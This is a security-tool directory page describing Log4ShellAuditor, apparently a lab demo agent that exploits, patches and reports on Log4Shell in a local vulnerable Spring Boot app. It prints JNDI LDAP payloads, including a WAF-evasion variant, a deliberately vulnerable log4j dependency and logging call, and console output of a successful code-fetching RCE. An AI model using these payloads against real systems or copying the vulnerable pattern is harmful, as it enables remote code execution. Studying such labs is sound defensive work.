Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Log4ShellAuditor — CVE-2021-44228 (Log4Shell) के लिए पूर्ण-चक्र सुरक्षा ऑडिटिंग, WAF परिहार, OOB LDAP सत्यापन, स्व-सुधार (स्वचालित पैचिंग) और अनुपालन रिपोर्टिंग हेतु एक स्वायत्त रिफ्लेक्टिव Go एजेंट। | Kitploit
उपकरण/GitHubGitHub/c00ln3t/log4shellauditor
भेद्यता स्कैनरपेलोड जनरेशनपोर्ट स्कैनिंगशोषणवेब एप्लिकेशन शोषणWAF बाईपासपेनिट्रेशन टेस्टिंगDevSecOpsलैब और अभ्यास
GitHubc00ln3t/log4shellauditor

Log4ShellAuditor

CVE-2021-44228 (Log4Shell) के लिए पूर्ण-चक्र सुरक्षा ऑडिटिंग, WAF परिहार, OOB LDAP सत्यापन, स्व-सुधार (स्वचालित पैचिंग) और अनुपालन रिपोर्टिंग हेतु एक स्वायत्त रिफ्लेक्टिव Go एजेंट।

1923 दिन पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

AUTO AUDIT बैनर

🤖 AUTO AUDIT

स्वायत्त रिफ्लेक्सिव निष्पादक एजेंट (Go/Java) का पृथक डेमो स्टैंड

Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦

Go Version Java Version Maven

License
Views
Clones

🧭 सामान्य जानकारी

[!NOTE] AUTO AUDIT एक सॉफ़्टवेयर कॉम्प्लेक्स है जो क्रिटिकल भेद्यता Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103) के लिए 100% स्वायत्त बंद-लूप (Sense-Think-Act) — पहचान, सत्यापन, एक्सप्लॉइटेशन, स्वचालित सुधार (Self-Healing / Auto-Remediation) और कंप्लायंस रिपोर्टिंग — का प्रदर्शन करता है।

यह स्टैंड Java Spring Boot पर आधारित एक लोकल वेब एप्लिकेशन, एक अंतर्निहित LDAP TCP Callback Listener और Go-एजेंट का संज्ञानात्मक कोर तैनात करता है, जो बाहरी वातावरण की आंशिक अवलोकनीयता की स्थितियों में निर्णय लेता है (Partially Observable Markov Decision Process — POMDP)।```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;

root@kitploit:~
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
    A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
    B --> C{Вычисление Utility Policy}:::think
    C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
    D --> E[Выполнение Tool.Execute]:::act
    E -->|Воздействие| F((Java Spring Boot Target)):::target
    F -.->|Обратный канал OOB| A
end
root@kitploit:~
---

## 🛠️ तकनीकी वास्तुकला और घटक

एजेंट की प्रोग्राम संरचना स्वच्छ वास्तुकला (*Hexagonal Architecture / Ports and Adapters*), SOLID और TDD के सिद्धांतों के अनुसार डिज़ाइन की गई है:

* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — प्रवेश बिंदु। बैकग्राउंड प्रक्रियाओं के जीवनचक्र को प्रबंधित करता है और एजेंट गोरूटीन के लॉन्च को समन्वित करता है।
* 📂 **`internal/`** — संज्ञानात्मक लूप की मुख्य व्यावसायिक तर्क:
  * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — संज्ञानात्मक लूप। नियंत्रण चक्र और रणनीति चयन हेतु निर्णय नियम `Think()` लागू करता है।
  * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — `sync.RWMutex` पर आधारित थ्रेड-सेफ़ ज्ञानकोश (`KnowledgeBase` / LTM)।
  * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — इफ़ेक्टर के लिए `Tool` इंटरफ़ेस।
  * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — पॉलीमॉर्फ़िक इफ़ेक्टर (टूल) का रजिस्ट्री:
    * 🔍 `ToolPortScanner` — नेटवर्क परिधि की टोह लेना।
    * 🌐 `ToolDiscovery` — कनेक्शन बिंदु और इनपुट वेक्टर (`X-Api-Version`) खोजना।
    * 🔬 `ToolPayloadGenerator` — JNDI सिग्नेचर वेक्टर का संश्लेषण।
    * 🚀 `ToolProber` — आउट-ऑफ़-बैंड (Out-of-Band) ट्रेसिंग द्वारा कमज़ोरी की जाँच।
    * 🛡️ `ToolSemanticFuzzer` — नेस्टेड सिंटैक्टिक म्यूटेशन द्वारा फ़िल्टरिंग क्लासिफ़ायर (WAF Evasion) को बायपास करना।
    * 🩹 `ToolRemediator` — स्वचालित पैचिंग (Self-Healing)।
    * 📄 `ToolReporter` — ГОСТ Р 56939-2016 के अनुसार रिपोर्ट तैयार करना।
* 📂 **`pkg/`** — सहायक पैकेज और लाइब्रेरी:
  * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — आउट-ऑफ़-बैंड श्रोता (LDAP और HTTP)।
  * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — स्थानीय Java लक्ष्य के जीवनचक्र और पुनः आरंभ का प्रबंधन।
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — तैनाती हेतु कॉन्फ़िगरेशन फ़ाइलें (Docker, Compose)।
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — कमज़ोर परीक्षण Java Spring Boot ऐप।

---

## 🎯 गणितीय तंत्र और संज्ञानात्मक चक्र की विशिष्टता (Think-Act Loop)

एजेंट द्वारा निर्णय लेने को **आंशिक रूप से प्रेक्षणीय मार्कोव निर्णय प्रक्रिया (POMDP)** के रूप में औपचारिक रूप दिया गया है, जिसे टुपल $\langle S, A, T, R, \Omega, O, \gamma \rangle$ द्वारा वर्णित किया जाता है:

* $S$ — लक्ष्य परिवेश की छिपी अवस्थाओं का असतत स्थान (पोर्ट उपलब्धता, कमज़ोर पैरामीटरों की मौजूदगी, WAF गतिविधि, समझौता का तथ्य, पैचिंग स्थिति, कंप्लायंस रिपोर्ट की उपलब्धता)।
* $A$ — इफ़ेक्टर क्रियाओं का स्थान (टूल कॉल: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`)।
* $\Omega$ — प्रेक्षणों का स्थान (प्राप्त HTTP प्रतिक्रियाएँ, OOB TCP कॉलबैक, फ़ाइल सिस्टम रिकॉर्ड)।
* $O(o \mid s', a)$ — प्रेक्षण फ़ंक्शन, जो प्रतिक्रिया $o \in \Omega$ प्राप्त करने की संभावना निर्धारित करता है।

### 1. विश्वास वेक्टर (Belief State)
एजेंट के पास परिवेश की छिपी अवस्था $s \in S$ के बारे में सीधी जानकारी नहीं होती और वह विश्वास वेक्टर $b(s)$ के साथ काम करता है — यह $S$ पर एक संभाव्यता वितरण है, जो `KnowledgeBase` मेमोरी में संग्रहीत और गतिशील रूप से अद्यतन होता है:
* $b(S_{recon}) \in \{0, 1\}$ — नेटवर्क टोह की स्थिति (पोर्ट खुला/बंद)। `ToolPerformance["port_scanner"]` पर मैप होता है।
* $b(S_{discovery}) \in \{0, 1\}$ — इनपुट वेक्टरों का मैपिंग (क्या पैरामीटर मिले)। `len(DiscoveryVectors) > 0` पर मैप होता है।
* $b(S_{payload}) \in \{0, 1\}$ — एक्सप्लॉइट सिग्नेचर की तैयारी। `len(CustomPayloads) > 0` पर मैप होता है।
* $b(S_{exploit}) \in \{0, 1\}$ — समझौता की स्थिति (Loot/Flag की उपलब्धता)। `len(Loot) > 0` पर मैप होता है।
* $b(S_{patch}) \in \{0, 1\}$ — कमज़ोरी के स्थानीकरण का तथ्य। `PatchApplied` पर मैप होता है।
* $b(S_{verify}) \in \{0, 1\}$ — बार-बार OOB-ट्रिगर की अनुपस्थिति का सत्यापन। `PatchVerified` पर मैप होता है।
* $b(S_{report}) \in \{0, 1\}$ — विनियमित रिपोर्ट का निर्माण। `ReportGenerated` पर मैप होता है।

### 2. निर्णय नियम फ़ंक्शन (Policy Mapping)
निर्णय-निर्माण फ़ंक्शन `Think()` एक नियतात्मक निर्णय नियम $\pi: B \to A$ लागू करता है, जो वर्तमान संचित विश्वास अवस्था $b$ को क्रमिक रूप से इफ़ेक्टर के इष्टतम क्रिया $a \in A$ पर मैप करता है।

### 3. अनुकूली शिक्षण और टूल प्रभावशीलता का आकलन
प्रत्येक टूल $a \in A$ के लिए, `ToolStats` मेमोरी में आँकड़े जमा होते हैं और उपयोगिता स्कोर (Efficiency Score) की गणना की जाती है:

$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$

एजेंट इन स्कोरों का उपयोग गतिपथ को गतिशील रूप से बदलने के लिए करता है: यदि प्राथमिक प्रोब `prober` विफल रहा ($\text{EfficiencyScore}(\text{prober}) = 0$), तो एजेंट लक्ष्य नोड पर फ़िल्टरिंग (WAF) की उपस्थिति की पहचान करता है, `semantic_fuzzer` टूल के माध्यम से WAF बायपास की क्षतिपूर्ति रणनीति सक्रिय करता है, और इंजेक्शन वेक्टर का म्यूटेशन करता है।

### स्टैंड के कार्य का चरण-दर-चरण परिदृश्य:

| चरण | चयनित टूल | क्रिया और प्रक्रिया की भौतिकी | Belief State में परिवर्तन |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | होस्ट `:8080` के TCP सॉकेट की जाँच। | वेब सेवा का खुला HTTP पोर्ट मिला ($b(S_{recon}) = 1$)। |
| **2** | `discovery` | GET-अनुरोध निष्पादन, DOM और हेडर पार्सिंग। | इनपुट वेक्टर की पहचान हुई: `X-Api-Version` हेडर ($b(S_{discovery}) = 1$)। |
| **3** | `payload_generator` | बेस एक्सप्लॉइट वेक्टर का संश्लेषण। | डेटाबेस में स्ट्रिंग `\${jndi:ldap://127.0.0.1:1389/Exploit\}` जोड़ी गई ($b(S_{payload}) = 1$)। |
| **4** | `prober` | प्राथमिक हमला। एजेंट पेलोड भेजता है। | प्रयास WAF द्वारा अवरुद्ध। $\text{EfficiencyScore}(\text{prober}) = 0$। |
| **5** | `semantic_fuzzer` | nested lookups के माध्यम से सिग्नेचर का ऑबफ़स्केशन। | म्यूटेटेड सिग्नेचर उत्पन्न हुआ ($b(S_{payload}) = 1$, WAF बायपास)। |
| **6** | `prober` | ऑबफ़स्केटेड वेक्टर के साथ हमला। | अंतर्निर्मित LDAP श्रोता आने वाले TCP कनेक्शन को दर्ज करता है। RCE का तथ्य पता चला ($b(S_{exploit}) = 1$)। |
| **7** | `remediator` | स्वचालित सुधार। `remediation.properties` में फ़्लैग लिखना और JVM पुनः आरंभ। | Spring Boot प्रक्रिया फ़्लैग `-Dlog4j2.formatMsgNoLookups=true` के साथ पुनः आरंभ हुई ($b(S_{patch}) = 1$)। |
| **8** | `prober` | सत्यापन (बार-बार प्रोबिंग अनुरोध)। | पोर्ट `1389` पर OOB-कनेक्शन की प्रतीक्षा। कनेक्शन अनुपस्थित $\rightarrow$ $b(S_{verify}) = 1$। |
| **9** | `reporter` | markdown-रिपोर्ट का निर्माण। | दस्तावेज़ `reports/cve_2021_44228_report.md` तैयार हुआ ($b(S_{report}) = 1$)। |
| **10**| `stop` | समाप्ति। | कार्य समापन। |

## 📊 एल्गोरिदम के ब्लॉक-चित्र

### 1. एजेंट के कार्य का सामान्य एल्गोरिदम (Sense-Think-Act Loop)
यह आरेख एजेंट के कार्य के निरंतर जीवनचक्र का वर्णन करता है: प्रारंभ और ज्ञानकोश के आरंभीकरण से लेकर ऑडिट सत्र के समापन तक।```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
    Init --> LoopStart{Цикл принятия решений}:::decision
    
    %% Think Phase
    LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
    
    %% Branch on Stop
    Think --> IsStop{a == 'stop'?}:::decision
    IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
    
    %% Act Phase
    IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
    FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
    
    %% Sense Phase
    Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
    Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
    UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
    
    %% Wait
    RecordObs --> Delay[Задержка 800 мс]:::step
    Delay --> LoopStart

2. संज्ञानात्मक निर्णय-निर्माण कोर एल्गोरिथम (Think)

यह आरेख Think() फ़ंक्शन के भीतर वर्तमान संचित विश्वास वेक्टर (Belief State) के आधार पर अगले चरण का चयन करने के तर्क का विस्तार से वर्णन करता है:```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#475569', 'lineColor': '#38bdf8', 'secondaryColor': '#1e293b' } }}%% flowchart TD classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc; classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0; classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0; classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

root@kitploit:~
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process

%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection

%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection

%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection

%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision

ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection

%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection

%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection

%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection

%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection

%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock

Unlock --> End([Возврат выбранного инструмента]):::startEnd
root@kitploit:~
---

## 📦 असुरक्षित Java अनुप्रयोग का विनिर्देशन

`test/vulnerable-app/` निर्देशिका में स्थित लक्ष्य अनुप्रयोग **Spring Boot 2.7.18** पर आधारित एक न्यूनतम REST सेवा है, जिसमें **Apache Log4j2** लाइब्रेरी के जानबूझकर कम किए गए संस्करण शामिल हैं:```xml
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>

असुरक्षित कंट्रोलर बिना पूर्व स्वच्छीकरण के आने वाले HTTP हेडर को लॉग करता है:```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);

root@kitploit:~
जब किसी `\${jndi:ldap://...\}` प्रारूप की स्ट्रिंग प्राप्त होती है, तो लॉगर JNDI-पते का रिज़ॉल्व आरंभ करता है, और LDAP प्रोटोकॉल के माध्यम से पोर्ट `1389` पर अनुरोध भेजता है।

---

## 🚀 चलाने के निर्देश

डेमो स्टैंड दो तैनाती मोड का समर्थन करता है: होस्ट सिस्टम पर सीधे लोकल चालन (विकल्प A) या Docker Compose के माध्यम से पृथक नेटवर्क वातावरण में पूर्णतः कंटेनरीकृत चालन (विकल्प B)।

### विकल्प A. होस्ट सिस्टम पर लोकल चालन

#### पूर्वापेक्षाएँ
* **JDK 17+** (`java -version` से जाँचें)
* **Maven 3.8+** (`mvn -version` से जाँचें)
* **Go 1.21+** (`go version` से जाँचें)

#### 1. Java-माइक्रोसर्विस का निर्माण
Java-लक्ष्य को एक फैट JAR आर्टिफैक्ट में संकलित करें:```bash
cd test/vulnerable-app
mvn clean package
cd ../..

सुनिश्चित करें कि निर्देशिका test/vulnerable-app/target/ में फ़ाइल vulnerable-app-simple-1.0.0.jar सफलतापूर्वक बन गई है।

2. Exploit payload तैयार करना

Java Exploit क्लास को संकलित करें, जो HTTP-सर्वर द्वारा वितरित किया जाएगा:```bash javac internal/payload/Exploit.java

root@kitploit:~
#### 3. डेमो स्टैंड का संकलन और प्रारंभ
Go की ऑन-द-फ्लाई इंटरप्रेटेशन मोड में चलाएँ:```bash
go run ./cmd/agent

या इसे एक निष्पादन योग्य बाइनरी फ़ाइल में संकलित करें:```bash go build -o test_agent ./cmd/agent ./test_agent

root@kitploit:~
---
### विकल्प बी. पृथक Docker-वातावरण में लॉन्च (Docker Compose)

> [!TIP]
> यह विकल्प आपकी होस्ट प्रणाली पर Go, Java या Maven की स्थापना की आवश्यकता नहीं है। संपूर्ण वातावरण पृथक वर्चुअल नेटवर्क `172.20.0.0/16` में स्वचालित रूप से निर्मित और व्यवस्थित किया जाता है।


#### पूर्वापेक्षाएँ
* स्थापित **Docker** और **Docker Compose** प्लगइन (`docker compose version` से जाँचें)।

#### 1. स्टैंड प्रारंभ
प्रोजेक्ट की मूल निर्देशिका से एक ही कमांड से इमेज बनाएँ और कंटेनर लॉन्च करें:```bash
docker compose -f deployments/docker-compose.yml up --build

2. कंटेनरों में प्रक्रियाओं का विवरण:

  • vulnerable-app स्वचालित रूप से Spring Boot Java एप्लिकेशन को संकलित करेगा, गुप्त फ्लैग को बंद निर्देशिका /var/lib/secret/flag.txt में लिखेगा और पोर्ट :8080 पर वेब सर्वर चलाएगा।
  • reflective-agent एजेंट के Go कोड को संकलित करेगा, Java-payload Exploit.java को संकलित करेगा, OOB-सर्वरों को चालू करेगा और संज्ञानात्मक चक्र शुरू करेगा।
  • होस्ट सिस्टम पर स्थानीय फ़ोल्डर reports/ एजेंट कंटेनर में माउंट किया गया है — कार्य के अंत में उत्पन्न GOST रिपोर्ट आपकी निर्देशिका reports/cve_2021_44228_report.md में स्वचालित रूप से सहेजी जाएगी।

3. स्टैंड बंद करना

सिमुलेशन समाप्त करने और नेटवर्क संसाधनों को हटाने के लिए चलाएँ:```bash docker compose -f deployments/docker-compose.yml down

root@kitploit:~
---

## 📊 कंसोल आउटपुट का उदाहरण```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.

[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.

[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.

[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.

[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.

[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.

================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.

📜 सूचना सुरक्षा और अनुपालन

एजेंट द्वारा उत्पन्न रिपोर्ट reports/cve_2021_44228_report.md फ़ाइल में प्रमुख रूसी सूचना सुरक्षा मानकों को ध्यान में रखती है:

  • ГОСТ Р 56939-2016 — सुरक्षित सॉफ़्टवेयर का विकास।
  • ФЗ-152 — अघोषित क्षमताओं का पता चलने पर व्यक्तिगत डेटा (ПДн) की सुरक्षा के लिए आवश्यकताएँ।
  • ФЗ-187 — महत्वपूर्ण सूचना अवसंरचना (КИИ РФ) वस्तुओं की स्थिरता सुनिश्चित करना।

🛡️ लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत वितरित किया जाता है। विवरण LICENSE फ़ाइल में देखें।

टूल डाउनलोड करें